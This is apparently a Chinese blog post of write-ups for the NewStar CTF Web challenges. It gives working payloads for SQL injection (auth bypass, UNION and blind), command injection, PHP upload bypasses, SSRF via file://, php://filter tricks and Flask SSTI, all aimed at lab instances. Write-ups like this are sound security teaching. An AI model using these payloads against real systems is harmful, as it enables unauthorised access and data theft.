跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PythonNode.jsAIjava算法

NewStar CTF Web 题解整理

整理了 NewStar CTF Web 的三周题目解法,覆盖目录泄露、SQL 注入、HTTP 头与方法绕过、前端限制绕过、命令执行、文件上传、SSRF、Git/.DS_Store 泄露、SSTI 和盲注等常见 Web 攻击面。多数题目可以通过源码、抓包和简单脚本直接推进,少数题目需要先读清过滤规则再选择绕过方式。整体来看,题目偏基础到中等,核心还是熟悉常见漏洞的切入点和限制处理方法。

2177283801发布于 2026/6/30更新于 2026/10/1770 浏览
NewStar CTF Web 题解整理

NewStar CTF Web 题解整理

这次的题目跨度挺大,前半段偏基础,后半段开始混着 SQL 注入、文件上传、SSTI、SSRF 这些常见点。整体思路不算花哨,但有几道题需要先读清楚限制,再决定是直接打还是先绕过前端和 WAF。

Week 1

multi-headach3

难度:简单

先用 dirsearch 扫目录,能找到 /robots.txt。里面提示了隐藏文件 hidden.php,把这个地址直接打开后,配合流量包能拿到 flag。

flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}

strange_login

难度:简单

典型登录框注入。直接上万能密码就能绕过校验:

admin' or 1=1 #

拿到 flag:

flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}

宇宙的中心是 php

难度:简单

题目要求通过 HTTP 访问指定 IP 和端口。页面源码是藏起来的,开开发者工具看了一圈,最后在源码里找到 s3kret.php。

代码审计后能看到一个比较别扭的判断:POST 参数 newstar2025 要同时满足:

  • intval($answer) 不等于 47
  • intval($answer, 0) 等于 47

这里直接传 0x2F 就行。默认十进制看它不是 47,但自动识别进制后又正好是 47。

newstar2025=0x2F

flag 如下:

flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}

黑客小 W 的故事(1)

难度:中等

这题本质上是 HTTP 协议拼图,信息都散在不同位置,按提示补齐就行。

第一关改请求里的 count 字段到 1000000,抓包重放时直接改掉。

第二关按提示分别带上这些参数:GET 传 shipin=mogubaozi,POST 传 guding,再把请求方法改成 DELETE,并传入 chongzi。

第三关是改 User-Agent,顺带把版本升级。

最后访问 /Level4_Sly:

flag{9fef7934-2c71-4225-813d-849df714c8fa}

我真得控制你了

难度:中等

前端把 F12、Ctrl+Shift+I 和右键都禁了,但这类限制基本挡不住控制台。直接在 Console 里执行:

document.getElementById('nextLevelForm').();
submit

先跳过前端限制,再去试弱口令,admin/111111 能登进去。

后端 PHP 这段更关键:

  • 允许字符只有 0-9, *, /, ~, (, ), 空白
  • 不能是纯数字或者纯空白
  • 最后会 @eval("$test = $input;"),并判断 $test == 2025

组合一下,45*45 正好是 2025,直接过。

?newstar=45*45

flag:

flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}

别笑,你也过不了第二关

难度:简单

前端游戏逻辑是可以直接改变量的,目标分数其实没什么约束。控制台里把分数拉满,再调用结束函数:

score = 1000000;
endLevel();

拿到 flag:

flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}

Week 2

DD 加速器

难度:简单

命令执行很直接,在 ping 参数里拼命令就行:

127.0.0.1; cat /flag

flag:

flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}

搞点哦润吉吃吃橘

难度:简单

登录页源码注释里直接把账号密码漏出来了:Doro/Doro_nJlPVs_@123。

登录后还得过一个 Token 校验,核心是时间戳和异或运算。这里手工算不划算,直接写脚本省事很多:

#!/usr/bin/env python3
# coding: utf-8
import requests
import re
import time
import sys

BASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"
USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123"

def login(session):
    url = BASE + LOGIN_PATH
    session.headers.update({"Origin": BASE, "Referer": BASE + "/login", "Content-Type": "application/x-www-form-urlencoded"})
    data = f"username={USERNAME}&password={PASSWORD}"
    resp = session.post(url, data=data, allow_redirects=False)
    return "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"]

def fetch_challenge(session):
    url = BASE + START_PATH
    resp = session.post(url)
    return resp.json()

def parse_and_compute_token(data):
    multiplier = int(data.get("multiplier")) if data.get("multiplier") else None
    xor_raw = data.get("xor_value")
    xor_value = int(xor_raw, 16) if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x") else int(xor_raw)
    tsource = int(time.time())
    token = (tsource * multiplier) ^ xor_value
    return token

def submit_token(session, token):
    url = BASE + VERIFY_PATH
    resp = session.post(url, json={"token": token}, headers={"Content-Type": "application/json"})
    return resp

def main():
    s = requests.Session()
    if not login(s): return
    data = fetch_challenge(s)
    token = parse_and_compute_token(data)
    submit_token(s, token)

if __name__ == "__main__":
    main()

flag:

flag{c596b46c-3c82-4416-9e70-538104015062}

白帽小 K 的故事(1)

难度:困难

这是文件上传。前端只检查后缀,抓包把扩展名改成 .php 就能绕过去。

上传前先通过 /v1/onload 拿到实际上传路径,我这里先放一个 <?php phpinfo(); ?> 的测试文件,确认服务端确实会解析 PHP,再继续拿 flag。

flag{741a9681-2e6c-4486-b767-557e907c8863}

小 E 的管理系统

难度:困难

还是 SQL 注入,但过滤条件更烦:空格和单引号都被挡了,不过报错注入还能用。

处理顺序大致是这样:

  1. 用 %0a 顶掉空格过滤
  2. 先确认数据库类型是 SQLite
  3. 探到列数是 5
  4. 用 UNION SELECT 配合 sqlite_master 看表结构
  5. 最后从 sys_config 里把 flag 拿出来

示例 payload:

-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aB...

flag:

flag{1148f076-61cb-457a-818f-d910ef21b142}

真的是签到诶

难度:签到

题目给的是一套解码链:Base64 解码、Atbash 替换、去空格、ROT13,最后进 Eval。

思路不复杂,就是把 cat /flag 按这套流程反向编码回去。最终 payload 是:

u91d0glh(Kmrt\040/hbmg');

原文中的实际 Base64 串如下:

dW91dGlhKCJrbXRcMDQwL2hibWciKTs=

flag:

flag{8b3bf25f-b724-4f06-9197-ba25bd749249}

Week 3

ez-chain

难度:简单

这是任意文件读取。WAF 挡了 php、base64、data 这些关键字,而且读出来的内容里还不能出现 f,限制看着多,实际绕法还是那一套:双重编码配合 php://filter 和 rot13。

payload:

file=%25%37%30%25%36%38... (php://filter/string.rot13/resource=/flag 的双重编码)

flag:

flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}

mygo!!!

难度:简单

这题是 SSRF。表面上限制了 HTTP 协议,还做了本地 IP 检查,但依旧能借内网穿透的方式绕过去。

最后让它去访问本地 flag.php,再借 file:///flag 伪协议读内容:

index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag

flag:

flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}

小 E 的秘密计划

难度:简单

这题是 Git 泄露叠加 Mac 系统文件泄露。

先找到 .git,把被删掉的 user.php 恢复出来,账号密码也就出来了。登录后台后,再顺手扫一下 .DS_Store,里面还能再挖出一段 flag 相关信息。

flag{e08813e1-a595-464c-85c5-67b474f83601}

mirror_gate

难度:中等

文件上传题,后端对文件类型和内容都有校验,常规 php 后缀不好混过去。不过 .webp 这种图片格式可以塞代码,关键在于把 PHP 片段放进能被解析的位置。

把 PHP 代码写进 .webp 文件头或元数据里,上传后访问即可。

flag{fd8af3ec-7983-4724-ad82-e3f84149346f}

who'ssti

难度:中等

这是 Flask 模板注入。题目不是那种直接 {{7*7}} 的低配题,得先想办法把调用链拉出来,再借内置函数走到 __import__。

最后是通过对象遍历和 Trace 回调收集函数调用列表,拼出可用路径拿到 Flag。

flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}

白帽小 K 的故事(2)

难度:中等

盲注 SQL。空格被过滤了,但括号还能用,够用了。

我这里是直接写 Python 脚本做布尔盲注,按位枚举数据库名、表名、列名和最终数据。手工点页面也能做,就是慢,而且容易把自己点烦。

flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}

目录

  1. NewStar CTF Web 题解整理
  2. Week 1
  3. multi-headach3
  4. strange_login
  5. 宇宙的中心是 php
  6. 黑客小 W 的故事(1)
  7. 我真得控制你了
  8. 别笑,你也过不了第二关
  9. Week 2
  10. DD 加速器
  11. 搞点哦润吉吃吃橘
  12. coding: utf-8
  13. 白帽小 K 的故事(1)
  14. 小 E 的管理系统
  15. 真的是签到诶
  16. Week 3
  17. ez-chain
  18. mygo!!!
  19. 小 E 的秘密计划
  20. mirror_gate
  21. who'ssti
  22. 白帽小 K 的故事(2)

更多推荐文章

查看全部
  • OpenClaw QQ 机器人插件安装与配置指南
  • TypeScript 核心概念与高频面试题详解
  • TemporalKit 插件解决 Stable Diffusion 视频抖动问题
  • Java 开发面试实录与技术深度解析
  • n8n 集成飞书机器人实战指南:从 Webhook 到 WebSocket 的迁移
  • Python 实现 AI 文档总结、代码生成与资料检索工具
  • 前端快速入门指南:给后端开发者的学习路线
  • FASTLIVO2 算法解析与系统架构详解
  • Spring Cloud 熔断降级详解:Sentinel 实战指南
  • 大型语言模型:概念、技术与应用
  • Java 安全:Apache Shiro 常见鉴权绕过漏洞分析与修复
  • 用 OpenClaw + 飞书 Agent 打造 AI 自主模拟炒股系统:从零到实盘全记录
  • KingbaseES 处理 PL/SQL 运行时错误:异常捕获与处理实践
  • BeyondMimic 人形机器人舞蹈训练与 rl_sar 部署实践
  • Linux 备份与还原
  • 《Agent Runtime 工程化》Sandbox 应该属于 Harness 还是 Runtime?
  • C/C++ 错误信息捕获与处理实战指南
  • Dify 工作流发布为 MCP Server 实践指南
  • Stable Diffusion v1.5 广告设计实战:电商主图与社交媒体 Banner
  • 2026 低代码选型指南:AI 与低代码双向赋能,助力企业数字化落地

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online